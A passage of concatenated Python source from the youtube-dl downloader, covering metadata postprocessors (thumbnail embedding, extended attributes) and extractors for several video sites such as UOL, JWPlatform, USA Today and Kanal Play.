                   encodeFilename(filename, True),
                   encodeArgument('--artwork'),
                   encodeFilename(thumbnail_filename, True),
                   encodeArgument('-o'),
                   encodeFilename(temp_filename, True)]

            self._downloader.to_screen('[atomicparsley] Adding thumbnail to "%s"' % filename)

            if self._downloader.params.get('verbose', False):
                self._downloader.to_screen('[debug] AtomicParsley command line: %s' % shell_quote(cmd))

            p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            stdout, stderr = p.communicate()

            if p.returncode != 0:
                msg = stderr.decode('utf-8', 'replace').strip()
                raise EmbedThumbnailPPError(msg)

            if not self._already_have_thumbnail:
                os.remove(encodeFilename(thumbnail_filename))
            # for formats that don't support thumbnails (like 3gp) AtomicParsley
            # won't create to the temporary file
            if b'No changes' in stdout:
                self._downloader.report_warning('The file format doesn\'t support embedding a thumbnail')
            else:
                os.remove(encodeFilename(filename))
                os.rename(encodeFilename(temp_filename), encodeFilename(filename))
        else:
            raise EmbedThumbnailPPError('Only mp3 and m4a/mp4 are supported for thumbnail embedding for now.')

        return [], info






from __future__ import unicode_literals

import os
import subprocess
import sys
import errno

from .common import PostProcessor
from ..compat import compat_os_name
from ..utils import (
    check_executable,
    hyphenate_date,
    version_tuple,
    PostProcessingError,
    encodeArgument,
    encodeFilename,
)


class XAttrMetadataError(PostProcessingError):
    def __init__(self, code=None, msg='Unknown error'):
        super(XAttrMetadataError, self).__init__(msg)
        self.code = code

        # Parsing code and msg
        if (self.code in (errno.ENOSPC, errno.EDQUOT) or
                'No space left' in self.msg or 'Disk quota excedded' in self.msg):
            self.reason = 'NO_SPACE'
        elif self.code == errno.E2BIG or 'Argument list too long' in self.msg:
            self.reason = 'VALUE_TOO_LONG'
        else:
            self.reason = 'NOT_SUPPORTED'


class XAttrMetadataPP(PostProcessor):

    #
    # More info about extended attributes for media:
    #   http://freedesktop.org/wiki/CommonExtendedAttributes/
    #   http://www.freedesktop.org/wiki/PhreedomDraft/
    #   http://dublincore.org/documents/usageguide/elements.shtml
    #
    # TODO:
    #  * capture youtube keywords and put them in 'user.dublincore.subject' (comma-separated)
    #  * figure out which xattrs can be used for 'duration', 'thumbnail', 'resolution'
    #

    def run(self, info):
        """ Set extended attributes on downloaded file (if xattr support is found). """

        # This mess below finds the best xattr tool for the job and creates a
        # "write_xattr" function.
        try:
            # try the pyxattr module...
            import xattr

            # Unicode arguments are not supported in python-pyxattr until
            # version 0.5.0
            # See https://github.com/rg3/youtube-dl/issues/5498
            pyxattr_required_version = '0.5.0'
            if version_tuple(xattr.__version__) < version_tuple(pyxattr_required_version):
                self._downloader.report_warning(
                    'python-pyxattr is detected but is too old. '
                    'youtube-dl requires %s or above while your version is %s. '
                    'Falling back to other xattr implementations' % (
                        pyxattr_required_version, xattr.__version__))

                raise ImportError

            def write_xattr(path, key, value):
                try:
                    xattr.set(path, key, value)
                except EnvironmentError as e:
                    raise XAttrMetadataError(e.errno, e.strerror)

        except ImportError:
            if compat_os_name == 'nt':
                # Write xattrs to NTFS Alternate Data Streams:
                # http://en.wikipedia.org/wiki/NTFS#Alternate_data_streams_.28ADS.29
                def write_xattr(path, key, value):
                    assert ':' not in key
                    assert os.path.exists(path)

                    ads_fn = path + ':' + key
                    try:
                        with open(ads_fn, 'wb') as f:
                            f.write(value)
                    except EnvironmentError as e:
                        raise XAttrMetadataError(e.errno, e.strerror)
            else:
                user_has_setfattr = check_executable('setfattr', ['--version'])
                user_has_xattr = check_executable('xattr', ['-h'])

                if user_has_setfattr or user_has_xattr:

                    def write_xattr(path, key, value):
                        value = value.decode('utf-8')
                        if user_has_setfattr:
                            executable = 'setfattr'
                            opts = ['-n', key, '-v', value]
                        elif user_has_xattr:
                            executable = 'xattr'
                            opts = ['-w', key, value]

                        cmd = ([encodeFilename(executable, True)] +
                               [encodeArgument(o) for o in opts] +
                               [encodeFilename(path, True)])

                        try:
                            p = subprocess.Popen(
                                cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                        except EnvironmentError as e:
                            raise XAttrMetadataError(e.errno, e.strerror)
                        stdout, stderr = p.communicate()
                        stderr = stderr.decode('utf-8', 'replace')
                        if p.returncode != 0:
                            raise XAttrMetadataError(p.returncode, stderr)

                else:
                    # On Unix, and can't find pyxattr, setfattr, or xattr.
                    if sys.platform.startswith('linux'):
                        self._downloader.report_error(
                            "Couldn't find a tool to set the xattrs. "
                            "Install either the python 'pyxattr' or 'xattr' "
                            "modules, or the GNU 'attr' package "
                            "(which contains the 'setfattr' tool).")
                    else:
                        self._downloader.report_error(
                            "Couldn't find a tool to set the xattrs. "
                            "Install either the python 'xattr' module, "
                            "or the 'xattr' binary.")

        # Write the metadata to the file's xattrs
        self._downloader.to_screen('[metadata] Writing metadata to file\'s xattrs')

        filename = info['filepath']

        try:
            xattr_mapping = {
                'user.xdg.referrer.url': 'webpage_url',
                # 'user.xdg.comment':            'description',
                'user.dublincore.title': 'title',
                'user.dublincore.date': 'upload_date',
                'user.dublincore.description': 'description',
                'user.dublincore.contributor': 'uploader',
                'user.dublincore.format': 'format',
            }

            for xattrname, infoname in xattr_mapping.items():

                value = info.get(infoname)

                if value:
                    if infoname == 'upload_date':
                        value = hyphenate_date(value)

                    byte_value = value.encode('utf-8')
                    write_xattr(filename, xattrname, byte_value)

            return [], info

        except XAttrMetadataError as e:
            if e.reason == 'NO_SPACE':
                self._downloader.report_warning(
                    'There\'s no disk space left or disk quota exceeded. ' +
                    'Extended attributes are not written.')
            elif e.reason == 'VALUE_TOO_LONG':
                self._downloader.report_warning(
                    'Unable to write extended attributes due to too long values.')
            else:
                msg = 'This filesystem doesn\'t support extended attributes. '
                if compat_os_name == 'nt':
                    msg += 'You need to use NTFS.'
                else:
                    msg += '(You may have to enable them in your /etc/fstab)'
                self._downloader.report_error(msg)
            return [], info






from __future__ import unicode_literals

from .embedthumbnail import EmbedThumbnailPP
from .ffmpeg import (
    FFmpegPostProcessor,
    FFmpegEmbedSubtitlePP,
    FFmpegExtractAudioPP,
    FFmpegFixupStretchedPP,
    FFmpegFixupM3u8PP,
    FFmpegFixupM4aPP,
    FFmpegMergerPP,
    FFmpegMetadataPP,
    FFmpegVideoConvertorPP,
    FFmpegSubtitlesConvertorPP,
)
from .xattrpp import XAttrMetadataPP
from .execafterdownload import ExecAfterDownloadPP
from .metadatafromtitle import MetadataFromTitlePP


def get_postprocessor(key):
    return globals()[key + 'PP']


__all__ = [
    'EmbedThumbnailPP',
    'ExecAfterDownloadPP',
    'FFmpegEmbedSubtitlePP',
    'FFmpegExtractAudioPP',
    'FFmpegFixupM3u8PP',
    'FFmpegFixupM4aPP',
    'FFmpegFixupStretchedPP',
    'FFmpegMergerPP',
    'FFmpegMetadataPP',
    'FFmpegPostProcessor',
    'FFmpegSubtitlesConvertorPP',
    'FFmpegVideoConvertorPP',
    'MetadataFromTitlePP',
    'XAttrMetadataPP',
]






from __future__ import unicode_literals

import os

from ..utils import (
    PostProcessingError,
    cli_configuration_args,
    encodeFilename,
)


class PostProcessor(object):
    """Post Processor class.

    PostProcessor objects can be added to downloaders with their
    add_post_processor() method. When the downloader has finished a
    successful download, it will take its internal chain of PostProcessors
    and start calling the run() method on each one of them, first with
    an initial argument and then with the returned value of the previous
    PostProcessor.

    The chain will be stopped if one of them ever returns None or the end
    of the chain is reached.

    PostProcessor objects follow a "mutual registration" process similar
    to InfoExtractor objects.

    Optionally PostProcessor can use a list of additional command-line arguments
    with self._configuration_args.
    """

    _downloader = None

    def __init__(self, downloader=None):
        self._downloader = downloader

    def set_downloader(self, downloader):
        """Sets the downloader for this PP."""
        self._downloader = downloader

    def run(self, information):
        """Run the PostProcessor.

        The "information" argument is a dictionary like the ones
        composed by InfoExtractors. The only difference is that this
        one has an extra field called "filepath" that points to the
        downloaded file.

        This method returns a tuple, the first element is a list of the files
        that can be deleted, and the second of which is the updated
        information.

        In addition, this method may raise a PostProcessingError
        exception if post processing fails.
        """
        return [], information  # by default, keep file and do nothing

    def try_utime(self, path, atime, mtime, errnote='Cannot update utime of file'):
        try:
            os.utime(encodeFilename(path), (atime, mtime))
        except Exception:
            self._downloader.report_warning(errnote)

    def _configuration_args(self, default=[]):
        return cli_configuration_args(self._downloader.params, 'postprocessor_args', default)


class AudioConversionError(PostProcessingError):
    pass






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    clean_html,
    int_or_none,
    parse_duration,
    update_url_query,
    str_or_none,
)


class UOLIE(InfoExtractor):
    IE_NAME = 'uol.com.br'
    _VALID_URL = r'https?://(?:.+?\.)?uol\.com\.br/.*?(?:(?:mediaId|v)=|view/(?:[a-z0-9]+/)?|video(?:=|/(?:\d{4}/\d{2}/\d{2}/)?))(?P<id>\d+|[\w-]+-[A-Z0-9]+)'
    _TESTS = [{
        'url': 'http://player.mais.uol.com.br/player_video_v3.swf?mediaId=15951931',
        'md5': '25291da27dc45e0afb5718a8603d3816',
        'info_dict': {
            'id': '15951931',
            'ext': 'mp4',
            'title': 'Miss simpatia é encontrada morta',
            'description': 'md5:3f8c11a0c0556d66daf7e5b45ef823b2',
        }
    }, {
        'url': 'http://tvuol.uol.com.br/video/incendio-destroi-uma-das-maiores-casas-noturnas-de-londres-04024E9A3268D4C95326',
        'md5': 'e41a2fb7b7398a3a46b6af37b15c00c9',
        'info_dict': {
            'id': '15954259',
            'ext': 'mp4',
            'title': 'Incêndio destrói uma das maiores casas noturnas de Londres',
            'description': 'Em Londres, um incêndio destruiu uma das maiores boates da cidade. Não há informações sobre vítimas.',
        }
    }, {
        'url': 'http://mais.uol.com.br/static/uolplayer/index.html?mediaId=15951931',
        'only_matching': True,
    }, {
        'url': 'http://mais.uol.com.br/view/15954259',
        'only_matching': True,
    }, {
        'url': 'http://noticias.band.uol.com.br/brasilurgente/video/2016/08/05/15951931/miss-simpatia-e-encontrada-morta.html',
        'only_matching': True,
    }, {
        'url': 'http://videos.band.uol.com.br/programa.asp?e=noticias&pr=brasil-urgente&v=15951931&t=Policia-desmonte-base-do-PCC-na-Cracolandia',
        'only_matching': True,
    }, {
        'url': 'http://mais.uol.com.br/view/cphaa0gl2x8r/incendio-destroi-uma-das-maiores-casas-noturnas-de-londres-04024E9A3268D4C95326',
        'only_matching': True,
    }, {
        'url': 'http://noticias.uol.com.br//videos/assistir.htm?video=rafaela-silva-inspira-criancas-no-judo-04024D983968D4C95326',
        'only_matching': True,
    }, {
        'url': 'http://mais.uol.com.br/view/e0qbgxid79uv/15275470',
        'only_matching': True,
    }]

    _FORMATS = {
        '2': {
            'width': 640,
            'height': 360,
        },
        '5': {
            'width': 1080,
            'height': 720,
        },
        '6': {
            'width': 426,
            'height': 240,
        },
        '7': {
            'width': 1920,
            'height': 1080,
        },
        '8': {
            'width': 192,
            'height': 144,
        },
        '9': {
            'width': 568,
            'height': 320,
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        if not video_id.isdigit():
            embed_page = self._download_webpage('https://jsuol.com.br/c/tv/uol/embed/?params=[embed,%s]' % video_id, video_id)
            video_id = self._search_regex(r'mediaId=(\d+)', embed_page, 'media id')
        video_data = self._download_json(
            'http://mais.uol.com.br/apiuol/v3/player/getMedia/%s.json' % video_id,
            video_id)['item']
        title = video_data['title']

        query = {
            'ver': video_data.get('numRevision', 2),
            'r': 'http://mais.uol.com.br',
        }
        formats = []
        for f in video_data.get('formats', []):
            f_url = f.get('url') or f.get('secureUrl')
            if not f_url:
                continue
            format_id = str_or_none(f.get('id'))
            fmt = {
                'format_id': format_id,
                'url': update_url_query(f_url, query),
            }
            fmt.update(self._FORMATS.get(format_id, {}))
            formats.append(fmt)
        self._sort_formats(formats)

        tags = []
        for tag in video_data.get('tags', []):
            tag_description = tag.get('description')
            if not tag_description:
                continue
            tags.append(tag_description)

        return {
            'id': video_id,
            'title': title,
            'description': clean_html(video_data.get('desMedia')),
            'thumbnail': video_data.get('thumbnail'),
            'duration': int_or_none(video_data.get('durationSeconds')) or parse_duration(video_data.get('duration')),
            'tags': tags,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import compat_urlparse
from ..utils import (
    determine_ext,
    float_or_none,
    int_or_none,
    mimetype2ext,
)


class JWPlatformBaseIE(InfoExtractor):
    @staticmethod
    def _find_jwplayer_data(webpage):
        # TODO: Merge this with JWPlayer-related codes in generic.py

        mobj = re.search(
            'jwplayer\((?P<quote>[\'"])[^\'" ]+(?P=quote)\)\.setup\((?P<options>[^)]+)\)',
            webpage)
        if mobj:
            return mobj.group('options')

    def _extract_jwplayer_data(self, webpage, video_id, *args, **kwargs):
        jwplayer_data = self._parse_json(
            self._find_jwplayer_data(webpage), video_id)
        return self._parse_jwplayer_data(
            jwplayer_data, video_id, *args, **kwargs)

    def _parse_jwplayer_data(self, jwplayer_data, video_id=None, require_title=True, m3u8_id=None, rtmp_params=None, base_url=None):
        # JWPlayer backward compatibility: flattened playlists
        # https://github.com/jwplayer/jwplayer/blob/v7.4.3/src/js/api/config.js#L81-L96
        if 'playlist' not in jwplayer_data:
            jwplayer_data = {'playlist': [jwplayer_data]}

        entries = []
        for video_data in jwplayer_data['playlist']:
            # JWPlayer backward compatibility: flattened sources
            # https://github.com/jwplayer/jwplayer/blob/v7.4.3/src/js/playlist/item.js#L29-L35
            if 'sources' not in video_data:
                video_data['sources'] = [video_data]

            this_video_id = video_id or video_data['mediaid']

            formats = []
            for source in video_data['sources']:
                source_url = self._proto_relative_url(source['file'])
                if base_url:
                    source_url = compat_urlparse.urljoin(base_url, source_url)
                source_type = source.get('type') or ''
                ext = mimetype2ext(source_type) or determine_ext(source_url)
                if source_type == 'hls' or ext == 'm3u8':
                    formats.extend(self._extract_m3u8_formats(
                        source_url, this_video_id, 'mp4', 'm3u8_native', m3u8_id=m3u8_id, fatal=False))
                # https://github.com/jwplayer/jwplayer/blob/master/src/js/providers/default.js#L67
                elif source_type.startswith('audio') or ext in ('oga', 'aac', 'mp3', 'mpeg', 'vorbis'):
                    formats.append({
                        'url': source_url,
                        'vcodec': 'none',
                        'ext': ext,
                    })
                else:
                    a_format = {
                        'url': source_url,
                        'width': int_or_none(source.get('width')),
                        'height': int_or_none(source.get('height')),
                        'ext': ext,
                    }
                    if source_url.startswith('rtmp'):
                        a_format['ext'] = 'flv'

                        # See com/longtailvideo/jwplayer/media/RTMPMediaProvider.as
                        # of jwplayer.flash.swf
                        rtmp_url_parts = re.split(
                            r'((?:mp4|mp3|flv):)', source_url, 1)
                        if len(rtmp_url_parts) == 3:
                            rtmp_url, prefix, play_path = rtmp_url_parts
                            a_format.update({
                                'url': rtmp_url,
                                'play_path': prefix + play_path,
                            })
                        if rtmp_params:
                            a_format.update(rtmp_params)
                    formats.append(a_format)
            self._sort_formats(formats)

            subtitles = {}
            tracks = video_data.get('tracks')
            if tracks and isinstance(tracks, list):
                for track in tracks:
                    if track.get('file') and track.get('kind') == 'captions':
                        subtitles.setdefault(track.get('label') or 'en', []).append({
                            'url': self._proto_relative_url(track['file'])
                        })

            entries.append({
                'id': this_video_id,
                'title': video_data['title'] if require_title else video_data.get('title'),
                'description': video_data.get('description'),
                'thumbnail': self._proto_relative_url(video_data.get('image')),
                'timestamp': int_or_none(video_data.get('pubdate')),
                'duration': float_or_none(jwplayer_data.get('duration')),
                'subtitles': subtitles,
                'formats': formats,
            })
        if len(entries) == 1:
            return entries[0]
        else:
            return self.playlist_result(entries)


class JWPlatformIE(JWPlatformBaseIE):
    _VALID_URL = r'(?:https?://content\.jwplatform\.com/(?:feeds|players|jw6)/|jwplatform:)(?P<id>[a-zA-Z0-9]{8})'
    _TEST = {
        'url': 'http://content.jwplatform.com/players/nPripu9l-ALJ3XQCI.js',
        'md5': 'fa8899fa601eb7c83a64e9d568bdf325',
        'info_dict': {
            'id': 'nPripu9l',
            'ext': 'mov',
            'title': 'Big Buck Bunny Trailer',
            'description': 'Big Buck Bunny is a short animated film by the Blender Institute. It is made using free and open source software.',
            'upload_date': '20081127',
            'timestamp': 1227796140,
        }
    }

    @staticmethod
    def _extract_url(webpage):
        mobj = re.search(
            r'<script[^>]+?src=["\'](?P<url>(?:https?:)?//content.jwplatform.com/players/[a-zA-Z0-9]{8})',
            webpage)
        if mobj:
            return mobj.group('url')

    def _real_extract(self, url):
        video_id = self._match_id(url)
        json_data = self._download_json('http://content.jwplatform.com/feeds/%s.json' % video_id, video_id)
        return self._parse_jwplayer_data(json_data, video_id)






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    parse_duration,
    sanitized_Request,
    urlencode_postdata,
)


class ShareSixIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?sharesix\.com/(?:f/)?(?P<id>[0-9a-zA-Z]+)'
    _TESTS = [
        {
            'url': 'http://sharesix.com/f/OXjQ7Y6',
            'md5': '9e8e95d8823942815a7d7c773110cc93',
            'info_dict': {
                'id': 'OXjQ7Y6',
                'ext': 'mp4',
                'title': 'big_buck_bunny_480p_surround-fix.avi',
                'duration': 596,
                'width': 854,
                'height': 480,
            },
        },
        {
            'url': 'http://sharesix.com/lfrwoxp35zdd',
            'md5': 'dd19f1435b7cec2d7912c64beeee8185',
            'info_dict': {
                'id': 'lfrwoxp35zdd',
                'ext': 'flv',
                'title': 'WhiteBoard___a_Mac_vs_PC_Parody_Cartoon.mp4.flv',
                'duration': 65,
                'width': 1280,
                'height': 720,
            },
        }
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        fields = {
            'method_free': 'Free'
        }
        post = urlencode_postdata(fields)
        req = sanitized_Request(url, post)
        req.add_header('Content-type', 'application/x-www-form-urlencoded')

        webpage = self._download_webpage(req, video_id,
                                         'Downloading video page')

        video_url = self._search_regex(
            r"var\slnk1\s=\s'([^']+)'", webpage, 'video URL')
        title = self._html_search_regex(
            r'(?s)<dt>Filename:</dt>.+?<dd>(.+?)</dd>', webpage, 'title')
        duration = parse_duration(
            self._search_regex(
                r'(?s)<dt>Length:</dt>.+?<dd>(.+?)</dd>',
                webpage,
                'duration',
                fatal=False
            )
        )

        m = re.search(
            r'''(?xs)<dt>Width\sx\sHeight</dt>.+?
                     <dd>(?P<width>\d+)\sx\s(?P<height>\d+)</dd>''',
            webpage
        )
        width = height = None
        if m:
            width, height = int(m.group('width')), int(m.group('height'))

        formats = [{
            'format_id': 'sd',
            'url': video_url,
            'width': width,
            'height': height,
        }]

        return {
            'id': video_id,
            'title': title,
            'duration': duration,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    get_element_by_attribute,
    parse_duration,
    update_url_query,
    ExtractorError,
)
from ..compat import compat_str


class USATodayIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?usatoday\.com/(?:[^/]+/)*(?P<id>[^?/#]+)'
    _TEST = {
        'url': 'http://www.usatoday.com/media/cinematic/video/81729424/us-france-warn-syrian-regime-ahead-of-new-peace-talks/',
        'md5': '4d40974481fa3475f8bccfd20c5361f8',
        'info_dict': {
            'id': '81729424',
            'ext': 'mp4',
            'title': 'US, France warn Syrian regime ahead of new peace talks',
            'timestamp': 1457891045,
            'description': 'md5:7e50464fdf2126b0f533748d3c78d58f',
            'uploader_id': '29906170001',
            'upload_date': '20160313',
        }
    }
    BRIGHTCOVE_URL_TEMPLATE = 'http://players.brightcove.net/29906170001/38a9eecc-bdd8-42a3-ba14-95397e48b3f8_default/index.html?videoId=%s'

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(update_url_query(url, {'ajax': 'true'}), display_id)
        ui_video_data = get_element_by_attribute('class', 'ui-video-data', webpage)
        if not ui_video_data:
            raise ExtractorError('no video on the webpage', expected=True)
        video_data = self._parse_json(ui_video_data, display_id)

        return {
            '_type': 'url_transparent',
            'url': self.BRIGHTCOVE_URL_TEMPLATE % video_data['brightcove_id'],
            'id': compat_str(video_data['id']),
            'title': video_data['title'],
            'thumbnail': video_data.get('thumbnail'),
            'description': video_data.get('description'),
            'duration': parse_duration(video_data.get('length')),
            'ie_key': 'BrightcoveNew',
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    parse_duration,
    parse_filesize,
    str_to_int,
)


class SnotrIE(InfoExtractor):
    _VALID_URL = r'http?://(?:www\.)?snotr\.com/video/(?P<id>\d+)/([\w]+)'
    _TESTS = [{
        'url': 'http://www.snotr.com/video/13708/Drone_flying_through_fireworks',
        'info_dict': {
            'id': '13708',
            'ext': 'mp4',
            'title': 'Drone flying through fireworks!',
            'duration': 248,
            'filesize_approx': 40700000,
            'description': 'A drone flying through Fourth of July Fireworks',
            'thumbnail': 're:^https?://.*\.jpg$',
        },
        'expected_warnings': ['description'],
    }, {
        'url': 'http://www.snotr.com/video/530/David_Letteman_-_George_W_Bush_Top_10',
        'info_dict': {
            'id': '530',
            'ext': 'mp4',
            'title': 'David Letteman - George W. Bush Top 10',
            'duration': 126,
            'filesize_approx': 8500000,
            'description': 'The top 10 George W. Bush moments, brought to you by David Letterman!',
            'thumbnail': 're:^https?://.*\.jpg$',
        }
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        webpage = self._download_webpage(url, video_id)
        title = self._og_search_title(webpage)

        description = self._og_search_description(webpage)
        info_dict = self._parse_html5_media_entries(
            url, webpage, video_id, m3u8_entry_protocol='m3u8_native')[0]

        view_count = str_to_int(self._html_search_regex(
            r'<p[^>]*>\s*<strong[^>]*>Views:</strong>\s*<span[^>]*>([\d,\.]+)',
            webpage, 'view count', fatal=False))

        duration = parse_duration(self._html_search_regex(
            r'<p[^>]*>\s*<strong[^>]*>Length:</strong>\s*<span[^>]*>([\d:]+)',
            webpage, 'duration', fatal=False))

        filesize_approx = parse_filesize(self._html_search_regex(
            r'<p[^>]*>\s*<strong[^>]*>Filesize:</strong>\s*<span[^>]*>([^<]+)',
            webpage, 'filesize', fatal=False))

        info_dict.update({
            'id': video_id,
            'description': description,
            'title': title,
            'view_count': view_count,
            'duration': duration,
            'filesize_approx': filesize_approx,
        })

        return info_dict






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    parse_duration,
    parse_filesize,
    sanitized_Request,
    urlencode_postdata,
)


class MinhatecaIE(InfoExtractor):
    _VALID_URL = r'https?://minhateca\.com\.br/[^?#]+,(?P<id>[0-9]+)\.'
    _TEST = {
        'url': 'http://minhateca.com.br/pereba/misc/youtube-dl+test+video,125848331.mp4(video)',
        'info_dict': {
            'id': '125848331',
            'ext': 'mp4',
            'title': 'youtube-dl test video',
            'thumbnail': 're:^https?://.*\.jpg$',
            'filesize_approx': 1530000,
            'duration': 9,
            'view_count': int,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        token = self._html_search_regex(
            r'<input name="__RequestVerificationToken".*?value="([^"]+)"',
            webpage, 'request token')
        token_data = [
            ('fileId', video_id),
            ('__RequestVerificationToken', token),
        ]
        req = sanitized_Request(
            'http://minhateca.com.br/action/License/Download',
            data=urlencode_postdata(token_data))
        req.add_header('Content-Type', 'application/x-www-form-urlencoded')
        data = self._download_json(
            req, video_id, note='Downloading metadata')

        video_url = data['redirectUrl']
        title_str = self._html_search_regex(
            r'<h1.*?>(.*?)</h1>', webpage, 'title')
        title, _, ext = title_str.rpartition('.')
        filesize_approx = parse_filesize(self._html_search_regex(
            r'<p class="fileSize">(.*?)</p>',
            webpage, 'file size approximation', fatal=False))
        duration = parse_duration(self._html_search_regex(
            r'(?s)<p class="fileLeng[ht][th]">.*?class="bold">(.*?)<',
            webpage, 'duration', fatal=False))
        view_count = int_or_none(self._html_search_regex(
            r'<p class="downloadsCounter">([0-9]+)</p>',
            webpage, 'view count', fatal=False))

        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'ext': ext,
            'filesize_approx': filesize_approx,
            'duration': duration,
            'view_count': view_count,
            'thumbnail': self._og_search_thumbnail(webpage),
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    float_or_none,
    srt_subtitles_timecode,
)


class KanalPlayIE(InfoExtractor):
    IE_DESC = 'Kanal 5/9/11 Play'
    _VALID_URL = r'https?://(?:www\.)?kanal(?P<channel_id>5|9|11)play\.se/(?:#!/)?(?:play/)?program/\d+/video/(?P<id>\d+)'
    _TESTS = [{
        'url': 'http://www.kanal5play.se/#!/play/program/3060212363/video/3270012277',
        'info_dict': {
            'id': '3270012277',
            'ext': 'flv',
            'title': 'Saknar både dusch och avlopp',
            'description': 'md5:6023a95832a06059832ae93bc3c7efb7',
            'duration': 2636.36,
        },
        'params': {
            # rtmp download
            'skip_download': True,
        }
    }, {
        'url': 'http://www.kanal9play.se/#!/play/program/335032/video/246042',
        'only_matching': True,
    }, {
        'url': 'http://www.kanal11play.se/#!/play/program/232835958/video/367135199',
        'only_matching': True,
    }]

    def _fix_subtitles(self, subs):
        return '\r\n\r\n'.join(
            '%s\r\n%s --> %s\r\n%s'
            % (
                num,
                srt_subtitles_timecode(item['startMillis'] / 1000.0),
                srt_subtitles_timecode(item['endMillis'] / 1000.0),
                item['text'],
            ) for num, item in enumerate(subs, 1))

    def _get_subtitles(self, channel_id, video_id):
        subs = self._download_json(
            'http://www.kanal%splay.se/api/subtitles/%s' % (channel_id, video_id),
            video_id, 'Downloading subtitles JSON', fatal=False)
        return {'sv': [{'ext': 'srt', 'data': self._fix_subtitles(subs)}]} if subs else {}

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        channel_id = mobj.group('channel_id')

        video = self._download_json(
            'http://www.kanal%splay.se/api/getVideo?format=FLASH&videoId=%s' % (channel_id, video_id),
            video_id)

        reasons_for_no_streams = video.get('reasonsForNoStreams')
        if reasons_for_no_streams:
            raise ExtractorError(
                '%s returned error: %s' % (self.IE_NAME, '\n'.join(reasons_for_no_streams)),
                expected=True)

        title = video['title']
        description = video.get('description')
        duration = float_or_none(video.get('length'), 1000)
        thumbnail = video.get('posterUrl')

        stream_base_url = video['streamBaseUrl']

        formats = [{
            'url': stream_base_url,
            'play_path': stream['source'],
            'ext': 'flv',
            'tbr': float_or_none(stream.get('bitrate'), 1000),
            'rtmp_real_time': True,
        } for stream in video['streams']]
        self._sort_formats(formats)

        subtitles = {}
        if video.get('hasSubtitle'):
            subtitles = self.extract_subtitles(channel_id, video_id)

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'duration': duration,
            'formats': formats,
            'subtitles': subtitles,
        }






# coding: utf-8
from __future__ import unicode_literals

import base64
import re

from .common import InfoExtractor
from ..compat import compat_urllib_parse_unquote


class BigflixIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?bigflix\.com/.+/(?P<id>[0-9]+)'
    _TESTS = [{
        # 2 formats
        'url': 'http://www.bigflix.com/Tamil-movies/Drama-movies/Madarasapatinam/16070',
        'info_dict': {
            'id': '16070',
            'ext': 'mp4',
            'title': 'Madarasapatinam',
            'description': 'md5:9f0470b26a4ba8e824c823b5d95c2f6b',
            'formats': 'mincount:2',
        },
        'params': {
            'skip_download': True,
        }
    }, {
        # multiple formats
        'url': 'http://www.bigflix.com/Malayalam-movies/Drama-movies/Indian-Rupee/15967',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        title = self._html_search_regex(
            r'<div[^>]+class=["\']pagetitle["\'][^>]*>(.+?)</div>',
            webpage, 'title')

        def decode_url(quoted_b64_url):
            return base64.b64decode(compat_urllib_parse_unquote(
                quoted_b64_url).encode('ascii')).decode('utf-8')

        formats = []
        for height, encoded_url in re.findall(
                r'ContentURL_(\d{3,4})[pP][^=]+=([^&]+)', webpage):
            video_url = decode_url(encoded_url)
            f = {
                'url': video_url,
                'format_id': '%sp' % height,
                'height': int(height),
            }
            if video_url.startswith('rtmp'):
                f['ext'] = 'flv'
            formats.append(f)

        file_url = self._search_regex(
            r'file=([^&]+)', webpage, 'video url', default=None)
        if file_url:
            video_url = decode_url(file_url)
            if all(f['url'] != video_url for f in formats):
                formats.append({
                    'url': decode_url(file_url),
                })

        self._sort_formats(formats)

        description = self._html_search_meta('description', webpage)

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'formats': formats
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_HTTPError,
    compat_str,
    compat_urlparse,
)
from ..utils import (
    determine_ext,
    ExtractorError,
    int_or_none,
    parse_iso8601,
    qualities,
    try_get,
    update_url_query,
)


class TVPlayIE(InfoExtractor):
    IE_NAME = 'mtg'
    IE_DESC = 'MTG services'
    _VALID_URL = r'''(?x)
                    (?:
                        mtg:|
                        https?://
                            (?:www\.)?
                            (?:
                                tvplay(?:\.skaties)?\.lv/parraides|
                                (?:tv3play|play\.tv3)\.lt/programos|
                                tv3play(?:\.tv3)?\.ee/sisu|
                                (?:tv(?:3|6|8|10)play|viafree)\.se/program|
                                (?:(?:tv3play|viasat4play|tv6play|viafree)\.no|(?:tv3play|viafree)\.dk)/programmer|
                                play\.novatv\.bg/programi
                            )
                            /(?:[^/]+/)+
                        )
                        (?P<id>\d+)
                    '''
    _TESTS = [
        {
            'url': 'http://www.tvplay.lv/parraides/vinas-melo-labak/418113?autostart=true',
            'md5': 'a1612fe0849455423ad8718fe049be21',
            'info_dict': {
                'id': '418113',
                'ext': 'mp4',
                'title': 'Kādi ir īri? - Viņas melo labāk',
